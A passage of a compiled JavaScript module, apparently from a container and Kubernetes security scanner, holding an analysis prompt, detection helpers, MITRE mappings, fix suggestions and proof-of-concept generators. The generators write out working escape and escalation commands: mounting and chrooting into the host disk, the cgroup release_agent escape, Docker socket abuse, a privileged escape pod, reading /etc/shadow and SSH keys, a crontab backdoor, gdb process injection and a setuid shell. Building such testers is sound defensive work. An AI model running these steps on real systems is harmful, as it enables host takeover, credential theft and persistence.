return `When analyzing for infrastructure vulnerabilities, focus on:
|
|
272
|
+
|
|
273
|
+
1. **Container Security**:
|
|
274
|
+
- Privileged containers (--privileged flag)
|
|
275
|
+
- Dangerous capabilities (SYS_ADMIN, SYS_PTRACE, SYS_MODULE)
|
|
276
|
+
- Host namespace sharing (hostPID, hostNetwork, hostIPC)
|
|
277
|
+
- Docker socket mounting (enables container escape)
|
|
278
|
+
- Root user execution
|
|
279
|
+
- Insecure volume mounts
|
|
280
|
+
|
|
281
|
+
2. **Kubernetes RBAC**:
|
|
282
|
+
- Overly permissive roles (resources: ["*"], verbs: ["*"])
|
|
283
|
+
- Access to secrets (get/list/watch secrets)
|
|
284
|
+
- Pod creation permissions (can create privileged pods)
|
|
285
|
+
- Default service account usage
|
|
286
|
+
- ClusterRole vs Role boundaries
|
|
287
|
+
|
|
288
|
+
3. **Network Security**:
|
|
289
|
+
- Missing NetworkPolicy (default allow-all)
|
|
290
|
+
- Exposed services without ingress controls
|
|
291
|
+
- Unrestricted egress
|
|
292
|
+
- Host network mode
|
|
293
|
+
|
|
294
|
+
4. **Secrets Management**:
|
|
295
|
+
- Hardcoded secrets in Dockerfiles, compose files, manifests
|
|
296
|
+
- Plaintext secrets instead of Secret resources
|
|
297
|
+
- AWS/GCP credentials in images
|
|
298
|
+
- Private keys in container layers
|
|
299
|
+
|
|
300
|
+
5. **Image Security**:
|
|
301
|
+
- Using :latest tags (unpinned versions)
|
|
302
|
+
- Insecure registries
|
|
303
|
+
- Missing content trust verification
|
|
304
|
+
- No image scanning in pipeline
|
|
305
|
+
|
|
306
|
+
6. **Cloud Configuration**:
|
|
307
|
+
- Overly permissive IAM roles
|
|
308
|
+
- Public S3 buckets
|
|
309
|
+
- Unrestricted security groups
|
|
310
|
+
- Metadata service access (IMDS v1)
|
|
311
|
+
|
|
312
|
+
For each potential vulnerability, determine:
|
|
313
|
+
- Can an attacker escape the container?
|
|
314
|
+
- Can they escalate to cluster admin?
|
|
315
|
+
- Are secrets exposed or extractable?
|
|
316
|
+
- What's the blast radius of compromise?`;
|
|
317
|
+
},
|
|
318
|
+
getRelevantFilePatterns() {
|
|
319
|
+
return [
|
|
320
|
+
"**/Dockerfile",
|
|
321
|
+
"**/Dockerfile.*",
|
|
322
|
+
"**/*.dockerfile",
|
|
323
|
+
"**/docker-compose.yml",
|
|
324
|
+
"**/docker-compose.yaml",
|
|
325
|
+
"**/compose.yml",
|
|
326
|
+
"**/compose.yaml",
|
|
327
|
+
"**/kubernetes/**",
|
|
328
|
+
"**/k8s/**",
|
|
329
|
+
"**/*.k8s.yml",
|
|
330
|
+
"**/*.k8s.yaml",
|
|
331
|
+
"**/helm/**",
|
|
332
|
+
"**/charts/**",
|
|
333
|
+
"**/deployment.yml",
|
|
334
|
+
"**/deployment.yaml",
|
|
335
|
+
"**/service.yml",
|
|
336
|
+
"**/service.yaml",
|
|
337
|
+
"**/configmap.yml",
|
|
338
|
+
"**/configmap.yaml",
|
|
339
|
+
"**/secret.yml",
|
|
340
|
+
"**/secret.yaml",
|
|
341
|
+
"**/.github/workflows/**",
|
|
342
|
+
"**/gitlab-ci.yml",
|
|
343
|
+
"**/.circleci/**",
|
|
344
|
+
"**/terraform/**",
|
|
345
|
+
"**/*.tf",
|
|
346
|
+
];
|
|
347
|
+
},
|
|
348
|
+
};
|
|
349
|
+
// ============================================================================
|
|
350
|
+
// Helper Functions
|
|
351
|
+
// ============================================================================
|
|
352
|
+
function isInComment(line, filePath) {
|
|
353
|
+
const trimmed = line.trim();
|
|
354
|
+
// YAML/Dockerfile comments
|
|
355
|
+
if (filePath.includes("Dockerfile") ||
|
|
356
|
+
filePath.endsWith(".yml") ||
|
|
357
|
+
filePath.endsWith(".yaml")) {
|
|
358
|
+
return trimmed.startsWith("#");
|
|
359
|
+
}
|
|
360
|
+
// Terraform comments
|
|
361
|
+
if (filePath.endsWith(".tf")) {
|
|
362
|
+
return trimmed.startsWith("#") || trimmed.startsWith("//");
|
|
363
|
+
}
|
|
364
|
+
return false;
|
|
365
|
+
}
|
|
366
|
+
function isFalsePositive(match, patternId, file) {
|
|
367
|
+
// Skip example/template files
|
|
368
|
+
if (file.relativePath.includes("example") ||
|
|
369
|
+
file.relativePath.includes("template") ||
|
|
370
|
+
file.relativePath.includes("sample")) {
|
|
371
|
+
return true;
|
|
372
|
+
}
|
|
373
|
+
// Skip test fixtures for secret patterns
|
|
374
|
+
if (patternId.startsWith("secret-") || patternId.includes("aws-credentials")) {
|
|
375
|
+
if (file.relativePath.includes("test") ||
|
|
376
|
+
file.relativePath.includes("spec") ||
|
|
377
|
+
file.relativePath.includes("fixture")) {
|
|
378
|
+
return true;
|
|
379
|
+
}
|
|
380
|
+
}
|
|
381
|
+
// Skip placeholder values
|
|
382
|
+
const lowerMatch = match.toLowerCase();
|
|
383
|
+
if (lowerMatch.includes("example") ||
|
|
384
|
+
lowerMatch.includes("placeholder") ||
|
|
385
|
+
lowerMatch.includes("your-") ||
|
|
386
|
+
lowerMatch.includes("xxx") ||
|
|
387
|
+
lowerMatch.includes("changeme")) {
|
|
388
|
+
return true;
|
|
389
|
+
}
|
|
390
|
+
// Skip environment variable references
|
|
391
|
+
if (match.includes("${") || match.includes("$ENV") || match.includes("${{")) {
|
|
392
|
+
return true;
|
|
393
|
+
}
|
|
394
|
+
// Skip latest tag in base images (common pattern)
|
|
395
|
+
if (patternId === "latest-tag" && match.includes("FROM")) {
|
|
396
|
+
const baseImages = ["alpine", "ubuntu", "debian", "node", "python", "scratch"];
|
|
397
|
+
if (baseImages.some(img => match.toLowerCase().includes(img))) {
|
|
398
|
+
return true;
|
|
399
|
+
}
|
|
400
|
+
}
|
|
401
|
+
return false;
|
|
402
|
+
}
|
|
403
|
+
function calculateConfidence(match, pattern, file) {
|
|
404
|
+
let confidence = 70;
|
|
405
|
+
// Higher confidence for production-looking files
|
|
406
|
+
if (file.relativePath.includes("prod") ||
|
|
407
|
+
file.relativePath.includes("production")) {
|
|
408
|
+
confidence += 10;
|
|
409
|
+
}
|
|
410
|
+
// Higher confidence for critical patterns
|
|
411
|
+
if (pattern.severity === "critical") {
|
|
412
|
+
confidence += 10;
|
|
413
|
+
}
|
|
414
|
+
// Lower confidence for dev/staging files
|
|
415
|
+
if (file.relativePath.includes("dev") ||
|
|
416
|
+
file.relativePath.includes("staging") ||
|
|
417
|
+
file.relativePath.includes("test")) {
|
|
418
|
+
confidence -= 10;
|
|
419
|
+
}
|
|
420
|
+
// Higher confidence for explicit privileged/dangerous settings
|
|
421
|
+
if (match.includes("privileged: true") ||
|
|
422
|
+
match.includes("--privileged") ||
|
|
423
|
+
match.includes("SYS_ADMIN")) {
|
|
424
|
+
confidence += 15;
|
|
425
|
+
}
|
|
426
|
+
return Math.min(95, Math.max(50, confidence));
|
|
427
|
+
}
|
|
428
|
+
function redactSensitive(text) {
|
|
429
|
+
// Redact potential secrets while keeping context
|
|
430
|
+
return text
|
|
431
|
+
.replace(/(['":])\s*[a-zA-Z0-9_\-+=\/]{32,}(['"])/g, "$1[REDACTED]$2")
|
|
432
|
+
.replace(/ey[A-Za-z0-9_\-]+=*/g, "[JWT_REDACTED]")
|
|
433
|
+
.replace(/AKIA[0-9A-Z]{16}/g, "[AWS_KEY_REDACTED]");
|
|
434
|
+
}
|
|
435
|
+
function getMitreIds(patternId) {
|
|
436
|
+
const mapping = {
|
|
437
|
+
"privileged-container": ["T1611", "T1610"],
|
|
438
|
+
"container-capabilities": ["T1611", "T1068"],
|
|
439
|
+
"docker-socket-mount": ["T1611", "T1610"],
|
|
440
|
+
"host-pid-namespace": ["T1611", "T1057"],
|
|
441
|
+
"host-network-namespace": ["T1611", "T1046"],
|
|
442
|
+
"k8s-overly-permissive-rbac": ["T1078", "T1098"],
|
|
443
|
+
"secret-in-dockerfile": ["T1552", "T1078"],
|
|
444
|
+
"secret-in-k8s-manifest": ["T1552", "T1078"],
|
|
445
|
+
"insecure-volume-mount": ["T1611", "T1005"],
|
|
446
|
+
"k8s-allow-privilege-escalation": ["T1611", "T1068"],
|
|
447
|
+
};
|
|
448
|
+
return mapping[patternId] || ["T1610"];
|
|
449
|
+
}
|
|
450
|
+
function getSuggestedFix(patternId) {
|
|
451
|
+
const fixes = {
|
|
452
|
+
"privileged-container": "Remove --privileged flag. Use specific capabilities with --cap-add instead",
|
|
453
|
+
"container-capabilities": "Remove dangerous capabilities. Only add minimal required capabilities",
|
|
454
|
+
"docker-socket-mount": "Never mount Docker socket. Use Docker API with appropriate authentication",
|
|
455
|
+
"host-pid-namespace": "Remove hostPID: true. Use process isolation",
|
|
456
|
+
"host-network-namespace": "Remove hostNetwork: true. Use pod networking with NetworkPolicy",
|
|
457
|
+
"insecure-volume-mount": "Mount only specific subdirectories, use read-only mounts, avoid sensitive paths",
|
|
458
|
+
"k8s-overly-permissive-rbac": "Apply principle of least privilege. Specify exact resources and verbs needed",
|
|
459
|
+
"k8s-default-service-account": "Create dedicated ServiceAccount with minimal permissions",
|
|
460
|
+
"k8s-no-network-policy": "Define NetworkPolicy to restrict pod-to-pod and egress traffic",
|
|
461
|
+
"k8s-allow-privilege-escalation": "Set allowPrivilegeEscalation: false in securityContext",
|
|
462
|
+
"k8s-run-as-root": "Set runAsNonRoot: true and runAsUser to non-zero UID",
|
|
463
|
+
"secret-in-dockerfile": "Use multi-stage builds, mount secrets at runtime, or use secret management tools",
|
|
464
|
+
"secret-in-k8s-manifest": "Use Kubernetes Secret resources, external secret managers (Vault, AWS Secrets Manager)",
|
|
465
|
+
"latest-tag": "Pin specific image versions with SHA256 digest for reproducibility",
|
|
466
|
+
"insecure-registry": "Use HTTPS registries with proper TLS configuration",
|
|
467
|
+
"no-image-signature": "Enable Docker Content Trust (DOCKER_CONTENT_TRUST=1)",
|
|
468
|
+
"helm-tls-disabled": "Enable TLS verification for Helm operations",
|
|
469
|
+
};
|
|
470
|
+
return fixes[patternId] || "Review infrastructure configuration for security best practices";
|
|
471
|
+
}
|
|
472
|
+
// ============================================================================
|
|
473
|
+
// PoC Generators
|
|
474
|
+
// ============================================================================
|
|
475
|
+
function privilegedContainerPoC(finding) {
|
|
476
|
+
const steps = [
|
|
477
|
+
{
|
|
478
|
+
order: 1,
|
|
479
|
+
action: "verify-privileged",
|
|
480
|
+
description: "Verify container is running in privileged mode",
|
|
481
|
+
command: "cat /proc/self/status | grep CapEff",
|
|
482
|
+
expectedResult: "CapEff shows full capabilities (ffffffffffffffff)",
|
|
483
|
+
},
|
|
484
|
+
{
|
|
485
|
+
order: 2,
|
|
486
|
+
action: "mount-host",
|
|
487
|
+
description: "Mount host filesystem from within container",
|
|
488
|
+
command: "mkdir /mnt/host && mount /dev/sda1 /mnt/host",
|
|
489
|
+
expectedResult: "Host filesystem mounted successfully",
|
|
490
|
+
},
|
|
491
|
+
{
|
|
492
|
+
order: 3,
|
|
493
|
+
action: "access-host",
|
|
494
|
+
description: "Access host system files",
|
|
495
|
+
command: "ls -la /mnt/host/root && cat /mnt/host/etc/shadow",
|
|
496
|
+
expectedResult: "Full read access to host filesystem",
|
|
497
|
+
},
|
|
498
|
+
{
|
|
499
|
+
order: 4,
|
|
500
|
+
action: "escape-container",
|
|
501
|
+
description: "Execute commands on host via chroot",
|
|
502
|
+
command: "chroot /mnt/host /bin/bash",
|
|
503
|
+
expectedResult: "Shell on host system (complete container escape)",
|
|
504
|
+
},
|
|
505
|
+
];
|
|
506
|
+
return {
|
|
507
|
+
id: `poc-${finding.id}`,
|
|
508
|
+
findingId: finding.id,
|
|
509
|
+
prerequisites: [
|
|
510
|
+
"Access to privileged container",
|
|
511
|
+
"Knowledge of host device names",
|
|
512
|
+
],
|
|
513
|
+
steps,
|
|
514
|
+
payload: "mount /dev/sda1 /mnt/host && chroot /mnt/host /bin/bash",
|
|
515
|
+
expectedResult: "Complete container escape with root access to host",
|
|
516
|
+
safeTestInstructions: "Test only on isolated VM or container runtime. NEVER run on production systems. Privileged containers have full host access.",
|
|
517
|
+
};
|
|
518
|
+
}
|
|
519
|
+
function containerEscapePoC(finding) {
|
|
520
|
+
const steps = [
|
|
521
|
+
{
|
|
522
|
+
order: 1,
|
|
523
|
+
action: "check-capabilities",
|
|
524
|
+
description: "Check container capabilities",
|
|
525
|
+
command: "capsh --print",
|
|
526
|
+
expectedResult: "Verify dangerous capabilities like SYS_ADMIN",
|
|
527
|
+
},
|
|
528
|
+
{
|
|
529
|
+
order: 2,
|
|
530
|
+
action: "create-cgroup",
|
|
531
|
+
description: "Create cgroup to exploit release_agent",
|
|
532
|
+
command: "mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp",
|
|
533
|
+
expectedResult: "Cgroup mounted (requires SYS_ADMIN)",
|
|
534
|
+
},
|
|
535
|
+
{
|
|
536
|
+
order: 3,
|
|
537
|
+
action: "exploit-release-agent",
|
|
538
|
+
description: "Set release_agent to execute on host",
|
|
539
|
+
command: `echo 1 > /tmp/cgrp/notify_on_release && echo "\$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab)/cmd" > /tmp/cgrp/release_agent`,
|
|
540
|
+
expectedResult: "Release agent configured to run on host",
|
|
541
|
+
},
|
|
542
|
+
{
|
|
543
|
+
order: 4,
|
|
544
|
+
action: "trigger-escape",
|
|
545
|
+
description: "Trigger release_agent execution on host",
|
|
546
|
+
command: "sh -c 'echo \$\$ > /tmp/cgrp/cgroup.procs'",
|
|
547
|
+
expectedResult: "Command executed on host system",
|
|
548
|
+
},
|
|
549
|
+
];
|
|
550
|
+
return {
|
|
551
|
+
id: `poc-${finding.id}`,
|
|
552
|
+
findingId: finding.id,
|
|
553
|
+
prerequisites: [
|
|
554
|
+
"Container with SYS_ADMIN capability",
|
|
555
|
+
"Access to container shell",
|
|
556
|
+
],
|
|
557
|
+
steps,
|
|
558
|
+
payload: "cgroup release_agent exploit via SYS_ADMIN capability",
|
|
559
|
+
expectedResult: "Container escape and code execution on host",
|
|
560
|
+
safeTestInstructions: "Test on isolated container environment only. This is a known escape technique. Verify SYS_ADMIN is removed after fix.",
|
|
561
|
+
};
|
|
562
|
+
}
|
|
563
|
+
function dockerSocketPoC(finding) {
|
|
564
|
+
const steps = [
|
|
565
|
+
{
|
|
566
|
+
order: 1,
|
|
567
|
+
action: "verify-socket",
|
|
568
|
+
description: "Verify Docker socket is accessible",
|
|
569
|
+
command: "ls -la /var/run/docker.sock",
|
|
570
|
+
expectedResult: "Docker socket readable/writable from container",
|
|
571
|
+
},
|
|
572
|
+
{
|
|
573
|
+
order: 2,
|
|
574
|
+
action: "install-docker-client",
|
|
575
|
+
description: "Install Docker client in container (if not present)",
|
|
576
|
+
command: "apk add docker-cli || apt-get install docker.io",
|
|
577
|
+
expectedResult: "Docker client available",
|
|
578
|
+
},
|
|
579
|
+
{
|
|
580
|
+
order: 3,
|
|
581
|
+
action: "list-containers",
|
|
582
|
+
description: "List all containers on host",
|
|
583
|
+
command: "docker ps",
|
|
584
|
+
expectedResult: "All host containers visible",
|
|
585
|
+
},
|
|
586
|
+
{
|
|
587
|
+
order: 4,
|
|
588
|
+
action: "create-privileged-container",
|
|
589
|
+
description: "Create new privileged container with host filesystem mounted",
|
|
590
|
+
command: "docker run -it --privileged -v /:/host alpine chroot /host /bin/bash",
|
|
591
|
+
expectedResult: "Root shell on host system",
|
|
592
|
+
},
|
|
593
|
+
];
|
|
594
|
+
return {
|
|
595
|
+
id: `poc-${finding.id}`,
|
|
596
|
+
findingId: finding.id,
|
|
597
|
+
prerequisites: [
|
|
598
|
+
"Container with Docker socket mounted",
|
|
599
|
+
"Ability to install packages or Docker client present",
|
|
600
|
+
],
|
|
601
|
+
steps,
|
|
602
|
+
payload: "docker run -it --privileged -v /:/host alpine chroot /host /bin/bash",
|
|
603
|
+
expectedResult: "Complete container escape via Docker socket",
|
|
604
|
+
safeTestInstructions: "Test on isolated Docker host only. Never mount Docker socket in production containers. This provides complete host control.",
|
|
605
|
+
};
|
|
606
|
+
}
|
|
607
|
+
function k8sRbacPoC(finding) {
|
|
608
|
+
const steps = [
|
|
609
|
+
{
|
|
610
|
+
order: 1,
|
|
611
|
+
action: "check-permissions",
|
|
612
|
+
description: "Verify overly permissive RBAC",
|
|
613
|
+
command: "kubectl auth can-i --list",
|
|
614
|
+
expectedResult: "List all available permissions",
|
|
615
|
+
},
|
|
616
|
+
{
|
|
617
|
+
order: 2,
|
|
618
|
+
action: "list-secrets",
|
|
619
|
+
description: "Extract secrets from all namespaces",
|
|
620
|
+
command: "kubectl get secrets --all-namespaces -o json",
|
|
621
|
+
expectedResult: "All cluster secrets visible",
|
|
622
|
+
},
|
|
623
|
+
{
|
|
624
|
+
order: 3,
|
|
625
|
+
action: "create-privileged-pod",
|
|
626
|
+
description: "Create privileged pod with host access",
|
|
627
|
+
command: `kubectl apply -f - <<EOF
|
|
628
|
+
apiVersion: v1
|
|
629
|
+
kind: Pod
|
|
630
|
+
metadata:
|
|
631
|
+
name: escape-pod
|
|
632
|
+
spec:
|
|
633
|
+
hostPID: true
|
|
634
|
+
hostNetwork: true
|
|
635
|
+
containers:
|
|
636
|
+
- name: escape
|
|
637
|
+
image: alpine
|
|
638
|
+
command: ["/bin/sh"]
|
|
639
|
+
securityContext:
|
|
640
|
+
privileged: true
|
|
641
|
+
volumeMounts:
|
|
642
|
+
- name: host
|
|
643
|
+
mountPath: /host
|
|
644
|
+
volumes:
|
|
645
|
+
- name: host
|
|
646
|
+
hostPath:
|
|
647
|
+
path: /
|
|
648
|
+
EOF`,
|
|
649
|
+
expectedResult: "Privileged pod created with host access",
|
|
650
|
+
},
|
|
651
|
+
{
|
|
652
|
+
order: 4,
|
|
653
|
+
action: "escape-to-node",
|
|
654
|
+
description: "Execute commands on Kubernetes node",
|
|
655
|
+
command: "kubectl exec -it escape-pod -- chroot /host /bin/bash",
|
|
656
|
+
expectedResult: "Shell on Kubernetes node",
|
|
657
|
+
},
|
|
658
|
+
];
|
|
659
|
+
return {
|
|
660
|
+
id: `poc-${finding.id}`,
|
|
661
|
+
findingId: finding.id,
|
|
662
|
+
prerequisites: [
|
|
663
|
+
"Service account with overly permissive RBAC",
|
|
664
|
+
"kubectl access from pod or external",
|
|
665
|
+
],
|
|
666
|
+
steps,
|
|
667
|
+
payload: "Create privileged pod via excessive RBAC permissions",
|
|
668
|
+
expectedResult: "Cluster takeover via RBAC escalation",
|
|
669
|
+
safeTestInstructions: "Test on dedicated test cluster only. Never test on production Kubernetes. Clean up pods after testing.",
|
|
670
|
+
};
|
|
671
|
+
}
|
|
672
|
+
function secretExtractionPoC(finding) {
|
|
673
|
+
const steps = [
|
|
674
|
+
{
|
|
675
|
+
order: 1,
|
|
676
|
+
action: "identify-secret",
|
|
677
|
+
description: "Identify the hardcoded secret in configuration",
|
|
678
|
+
command: `Review ${finding.file}:${finding.line}`,
|
|
679
|
+
expectedResult: "Secret visible in source/manifest",
|
|
680
|
+
},
|
|
681
|
+
{
|
|
682
|
+
order: 2,
|
|
683
|
+
action: "extract-secret",
|
|
684
|
+
description: "Extract secret from image or running container",
|
|
685
|
+
command: "docker inspect <image> | grep -i 'env\\|secret' || kubectl get secret <name> -o yaml",
|
|
686
|
+
expectedResult: "Secret extracted successfully",
|
|
687
|
+
},
|
|
688
|
+
{
|
|
689
|
+
order: 3,
|
|
690
|
+
action: "use-secret",
|
|
691
|
+
description: "Use extracted secret to access protected resources",
|
|
692
|
+
command: "curl -H 'Authorization: Bearer <extracted_secret>' https://api.example.com",
|
|
693
|
+
expectedResult: "Unauthorized access via extracted credentials",
|
|
694
|
+
},
|
|
695
|
+
];
|
|
696
|
+
return {
|
|
697
|
+
id: `poc-${finding.id}`,
|
|
698
|
+
findingId: finding.id,
|
|
699
|
+
prerequisites: [
|
|
700
|
+
"Access to container image or Kubernetes manifests",
|
|
701
|
+
"Knowledge of what the secret unlocks",
|
|
702
|
+
],
|
|
703
|
+
steps,
|
|
704
|
+
payload: "[EXTRACTED_SECRET]",
|
|
705
|
+
expectedResult: "Unauthorized access using hardcoded credentials",
|
|
706
|
+
safeTestInstructions: "Extract secrets only in test environments. Immediately rotate any exposed secrets. Never use extracted credentials on production systems.",
|
|
707
|
+
};
|
|
708
|
+
}
|
|
709
|
+
function hostPathPoC(finding) {
|
|
710
|
+
const steps = [
|
|
711
|
+
{
|
|
712
|
+
order: 1,
|
|
713
|
+
action: "verify-mount",
|
|
714
|
+
description: "Verify host path is mounted in container",
|
|
715
|
+
command: "df -h | grep -E '/$|/root|/etc'",
|
|
716
|
+
expectedResult: "Host path visible in container",
|
|
717
|
+
},
|
|
718
|
+
{
|
|
719
|
+
order: 2,
|
|
720
|
+
action: "read-host-files",
|
|
721
|
+
description: "Read sensitive host files",
|
|
722
|
+
command: "cat /host/etc/shadow || cat /host/root/.ssh/id_rsa",
|
|
723
|
+
expectedResult: "Access to sensitive host data",
|
|
724
|
+
},
|
|
725
|
+
{
|
|
726
|
+
order: 3,
|
|
727
|
+
action: "modify-host-files",
|
|
728
|
+
description: "Modify host files if mount is writable",
|
|
729
|
+
command: "echo '* * * * * root /tmp/backdoor.sh' >> /host/etc/crontab",
|
|
730
|
+
expectedResult: "Persistent backdoor on host",
|
|
731
|
+
},
|
|
732
|
+
];
|
|
733
|
+
return {
|
|
734
|
+
id: `poc-${finding.id}`,
|
|
735
|
+
findingId: finding.id,
|
|
736
|
+
prerequisites: [
|
|
737
|
+
"Container with sensitive host path mounted",
|
|
738
|
+
"Mount is readable or writable",
|
|
739
|
+
],
|
|
740
|
+
steps,
|
|
741
|
+
payload: "Access host filesystem via insecure volume mount",
|
|
742
|
+
expectedResult: "Read/write access to host filesystem",
|
|
743
|
+
safeTestInstructions: "Test on isolated container host only. Use read-only test files. Never modify production host filesystems.",
|
|
744
|
+
};
|
|
745
|
+
}
|
|
746
|
+
function hostNamespacePoC(finding) {
|
|
747
|
+
const steps = [
|
|
748
|
+
{
|
|
749
|
+
order: 1,
|
|
750
|
+
action: "verify-host-pid",
|
|
751
|
+
description: "Verify container is sharing host PID namespace",
|
|
752
|
+
command: "ps aux",
|
|
753
|
+
expectedResult: "Host processes visible from container",
|
|
754
|
+
},
|
|
755
|
+
{
|
|
756
|
+
order: 2,
|
|
757
|
+
action: "identify-target",
|
|
758
|
+
description: "Identify privileged host process",
|
|
759
|
+
command: "ps aux | grep -E 'root|dockerd|kubelet'",
|
|
760
|
+
expectedResult: "Host system processes with PID visible",
|
|
761
|
+
},
|
|
762
|
+
{
|
|
763
|
+
order: 3,
|
|
764
|
+
action: "inject-process",
|
|
765
|
+
description: "Inject code into host process via ptrace",
|
|
766
|
+
command: "gdb -p <host_pid> -batch -ex 'call system(\"/tmp/payload.sh\")'",
|
|
767
|
+
expectedResult: "Code execution in host process context",
|
|
768
|
+
},
|
|
769
|
+
];
|
|
770
|
+
return {
|
|
771
|
+
id: `poc-${finding.id}`,
|
|
772
|
+
findingId: finding.id,
|
|
773
|
+
prerequisites: [
|
|
774
|
+
"Container with hostPID: true",
|
|
775
|
+
"ptrace capabilities",
|
|
776
|
+
"gdb or debugging tools",
|
|
777
|
+
],
|
|
778
|
+
steps,
|
|
779
|
+
payload: "Process injection via shared PID namespace",
|
|
780
|
+
expectedResult: "Code execution in host process context",
|
|
781
|
+
safeTestInstructions: "Test on isolated system only. Process injection can crash services. Never test on production systems.",
|
|
782
|
+
};
|
|
783
|
+
}
|
|
784
|
+
function privEscalationPoC(finding) {
|
|
785
|
+
const steps = [
|
|
786
|
+
{
|
|
787
|
+
order: 1,
|
|
788
|
+
action: "verify-escalation-allowed",
|
|
789
|
+
description: "Verify allowPrivilegeEscalation is true",
|
|
790
|
+
command: "cat /proc/self/status | grep NoNewPrivs",
|
|
791
|
+
expectedResult: "NoNewPrivs: 0 (escalation allowed)",
|
|
792
|
+
},
|
|
793
|
+
{
|
|
794
|
+
order: 2,
|
|
795
|
+
action: "create-setuid-binary",
|
|
796
|
+
description: "Create setuid binary if filesystem is writable",
|
|
797
|
+
command: "cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash",
|
|
798
|
+
expectedResult: "Setuid binary created",
|
|
799
|
+
},
|
|
800
|
+
{
|
|
801
|
+
order: 3,
|
|
802
|
+
action: "escalate-privileges",
|
|
803
|
+
description: "Execute setuid binary to gain elevated privileges",
|
|
804
|
+
command: "/tmp/rootbash -p",
|
|
805
|
+
expectedResult: "Shell with elevated privileges",
|
|
806
|
+
},
|
|
807
|
+
];
|
|
808
|
+
return {
|
|
809
|
+
id: `poc-${finding.id}`,
|
|
810
|
+
findingId: finding.id,
|
|
811
|
+
prerequisites: [
|
|
812
|
+
"Container with allowPrivilegeEscalation: true",
|
|
813
|
+
"Writable filesystem",
|
|
814
|
+
"Setuid binaries available",
|
|
815
|
+
],
|
|
816
|
+
steps,
|
|
817
|
+
payload: "Privilege escalation via setuid exploit",
|
|
818
|
+
expectedResult: "Elevated privileges within container",
|
|
819
|
+
safeTestInstructions: "Test in isolated container. Set allowPrivilegeEscalation: false in securityContext to prevent this attack.",
|
|
820
|
+
};
|
|
821
|
+
}
|
|
822
|
+
// ============================================================================
|
|
823
|
+
// Register Tactic
|
|
824
|
+
// ============================================================================
|
|
825
|
+
registerTactic(infraTactic);
|
|
826
|
+
export { infraTactic };
|
|
827
|
+
//# sourceMappingURL=infra.js.map
|